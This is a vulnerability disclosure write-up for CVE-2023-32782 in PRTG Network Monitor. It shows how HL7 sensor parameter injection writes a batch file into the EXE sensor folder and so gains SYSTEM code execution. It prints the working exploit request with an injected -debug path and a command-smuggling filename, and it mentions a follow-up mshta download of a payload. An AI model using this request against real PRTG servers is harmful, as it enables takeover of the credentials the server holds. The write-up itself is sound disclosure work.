PRTG Remote Code Execution - CVE-2023-32782
This post details the process of exploiting CVE-2023-32782 in PRTG to gain remote code execution. PRTG Network Monitor, developed by Paessler, enables businesses to monitor their networks. It's commonly used in corporate networks and achieving Remote Code Execution (RCE) on this system can potentially compromise the entire organization, since it holds credentials for all network components.
PRTG's application has a sensor system for adding sensors to the network, a core function. This system could include a SQL Sensor to monitor the uptime or current load of your SQL Server. However, this means that PRTG contains credentials for all the systems it logs into, and all are run as
SYSTEM, an ideal target for RCE.
Most of these sensors are system binaries called upon running the sensor.
During testing, we found several vulnerabilities, but CVE-2023-32782 stood out. When configuring the
HL7 sensor, we discovered that we could inject a parameter that was then set as parameters to the
This prompted us to ask: What parameters does the binary accept? - Running the binary showed some standard parameters without much use.
However, reverse engineering the binary revealed the
-debug flag, a hidden feature that allows us to specify a path where a debug file can be written. Further digging showed that this could be used to write into arbitrary folders.
We tested our hypothesis by injecting a
-debug flag through adding the sensor.
After running the sensor, we saw that the file
c:\arbitrary.file was correctly created in the folder we specified:
Reviewing this file's contents, we saw the following which indicates other parameters are outputted to the debug log file.
2023-11-02 07:27:42,244 [DEBUG] - Reading HL7 file: C:\\Program Files (x86)\\PRTG Network Monitor\\custom sensors\\hl7\\ADT_A08.hl7 2023-11-02 07:27:42,547 [DEBUG] - Sending Request 2023-11-02 07:27:42,549 [DEBUG] - MSH|^~\\&|test1|test2|lol|test4|202311022707||ADT^A08|599102|P|2.3||| EVN|A01|20050110045502||||| PID|1||10006579^^^1^MRN^1||DUCK^DONALD^D||19241010|M||1|111 DUCK ST^^FOWL^CA^999990000^^M|1|8885551212|8885551212|1|2||40007716^^^AccMgr^VN^1|123121234|||||||||||NO NK1|1|DUCK^HUEY|SO|3583 DUCK RD^^FOWL^CA^999990000|8885552222||Y|||||||||||||| 2023-11-02 07:27:44,584 [ERROR] - Error: No connection could be made because the target machine actively refused it 127.0.0.1:104: No connection
The first thing we seemingly control is the filename
ADT_A08.hl7 (which also contains a path traversal which is another CVE).
Looking further into how PRTG works, we found the following:
EXE/Script Sensor ... The list contains all files in the corresponding \Custom Sensors\EXE subfolder of the PRTG program directory on the probe system. For a file to appear in this list, store the file ending in .bat, .cmd, .exe, .ps1, or .vbs into this subfolder.
In simpler terms, if we can write a file to one of those paths and control some of the contents, we can achieve remote code execution.
Therefore our goal is to write a file to
C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\\EXE.
Generous .bat files
One significant challenge was that the file we write is a debug log file, which contains a lot of extraneous information. However, PRTG accepts
.bat files, which are forgiving. Syntax errors are discarded, and valid bits are run.
So if we modify our payload from the previous values to the following payload, where we set the
hl7 filename as the command injection
POST /addsensor5.htm HTTP/1.1 Host: 127.0.0.1 ..SNIP ..SNIP ------WebKitFormBoundaryJqI3G0KKzuuwgmhf Content-Disposition: form-data; name="recvfac_" test4" -debug="C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\exploit.bat" -recvapp="test ------WebKitFormBoundaryJqI3G0KKzuuwgmhf Content-Disposition: form-data; name="hl7file_" ADT_& mkdir c:\\rce & A08.hl7|ADT_& mkdir c:\\rce & A08.hl7||
After running the payload, we run the HL7Ssensor. What happens behind the scenes is the parameter injection is exploited and the file
exploit.bat is correctly written into our target folder:
C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\exploit.bat
exploit.bat is now in the correct folder, we can go to the
EXE/Script Sensor and see our payload as a valid choice in the list:
The contents of
exploit.bat is the following:
2023-11-02 07:38:14,111 [DEBUG] - Reading HL7 file: C:\Program Files (x86)\PRTG Network Monitor\custom sensors\hl7\ADT_& mkdir c:\rce & A08.hl7 2023-11-02 07:38:14,122 [ERROR] - Error: The given path's format is not supported.: The given path's format is not supported. System.NotSupportedException: The given path's format is not supported. at System.Security.Permissions.FileIOPermission.EmulateFileIOPermissionChecks(String fullPath) ...snip
Now all we have left is creating the
EXE/Script Sensor and choosing
exploit.bat. When running this sensor, it correctly runs our payload
mkdir c:\rce as
Cool but where is the shell?
mkdir isn't the most interesting, it serves as a proof of concept. In our real-world scenario, we ran
mshta with a custom url. This fetched a python payload that could be run using
PRTG's bundled python interpreter.
You can resolve this by upgrading to the latest version available on Paessler PRTG's release site.